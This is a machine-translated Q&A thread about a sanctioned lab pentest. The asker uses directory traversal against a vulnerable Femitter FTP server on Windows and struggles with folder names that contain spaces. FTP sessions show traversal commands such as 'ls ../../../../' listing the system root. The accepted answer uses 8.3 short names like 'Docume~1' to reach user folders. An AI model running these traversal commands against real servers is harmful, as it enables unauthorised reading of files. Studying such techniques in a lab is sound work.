空白を含むディレクトリに対するFTPディレクトリトラバーサル攻撃


15

私は、閉じた参照環境で制裁されたペンテストを実施しており、一見単純な問題に苦しんでいますが、現在は解決できません。

MS Windows OSで実行されている脆弱なFermitter FTPサーバーに対してディレクトリトラバーサル攻撃を実行しようとすると、システムルートでLISTを実行できます(アドレスとコンテンツリストは参照用にここで変更しました)。

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

ただし、などの空白を含むフォルダーのコンテンツを一覧表示する場合、Documents and settings空白が無視されるため、ディレクトリのコンテンツを一覧表示できません。

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

さまざまなFTPクライアント(LinuxおよびWindowsのCLIとGUI)を使用してみましたが、それらは空白を無視するか、ディレクトリトラバーサルを禁止します。

また、最初にrawソケットを使用し、次にftplibを使用してコマンドを16進数形式でFTPサーバーに直接送信することにより、Pythonで攻撃のスクリプトを作成しようとしましたが、成功しませんでした。

数時間のグーグルでの作業では解決策が得られませんでした(はい、多くのオプションがあり、機能しませんでした)。そのため、同じ問題を抱えている人がここにいます。確かに、このような空白を使用したディレクトリトラバーサルが必要になるのは初めてではありません。


大文字と小文字の区別は、FTPクライアントには無関係のようです。少なくともGNU / Linux FTPクライアントには、大文字小文字を無視してディレクトリがリストされます。

@lockout:大文字と小文字の区別はサーバー側のものであり、クライアントのものではありません。クライアントは、サーバーが送信するのと同じ方法でデータをリストし、大文字と小文字を変更しません。
Ullrich

1
C:\ Docume〜1 \も試してみてください。
犬は猫の世界を食べる

1
でスペースをエスケープしてみ\たり、ディレクトリ文字列を引用
DavidPostill

1
@lockoutが機能したことを嬉しく思います。あなたはあなたの質問に答えるのに苦労しているので、あなたが答えとしてそれを受け入れることは私によって大丈夫です。私に感謝します。
犬は猫の世界を食べる

回答:


16

@Dogeatcatworldによって提案された解決策は、などのMS Windowsディレクトリの短い表記を使用することC:\Docume~1\です。

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

MSナレッジベースの非常に優れた記事では、8.3ディレクトリ表記について説明しています。Windowsが長いファイル名から8.3ファイル名を生成する方法


2
OSCPなるほど。ヒントに追加するには、「すべてのユーザー」などの短いディレクトリの場合は、スペースを削除して「AllUse〜1」を使用します。FTPをマウントしてインタラクティブに参照する方法を見つけましたか、それともファイルを1つずつダウンロードするだけになりましたか。
n00b

1

「短縮名」は実際には古いDOS 8.3の命名規則であるため、一致する名前が1つしかない場合、すべてのディレクトリは最初の6文字の後に〜1が続きます。

C:\ ABCDEF〜1-C:\ ABCDEFG I AM DIRECTORY
C:\ BCDEFG〜1-C:\ BCDEFGHIJKL M別のディレクトリ

唯一の例外は次のとおりです。

C:\ ABCDEF〜1-C:\ ABCDEFG I AM DIRECTORY
C:\ ABCDEF〜2-C:\ ABCDEFGHIディレクトリも

ソース:Windowsディレクトリ/ファイルの短いパスを見つけるにはどうすればよいですか?


0

Ftpはurlエンコードを使用しないため、ブラウザでftpを使用して翻訳してくれる場合を除き、%xxは機能しません。

代わりに引用符を使用してみてください。例:ls "../../some dir"


1
ハイ FTP出力リストに示されているように、それらは機能しませんでした。%20を使用することは、すべてのオプションを試行する必死の試みのために、それが機能するかどうかを試すためだけのものでした。もちろん、%エンコードは、ブラウザーとそれらを解釈できるFTPクライアントで機能します。
ロックアウト
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.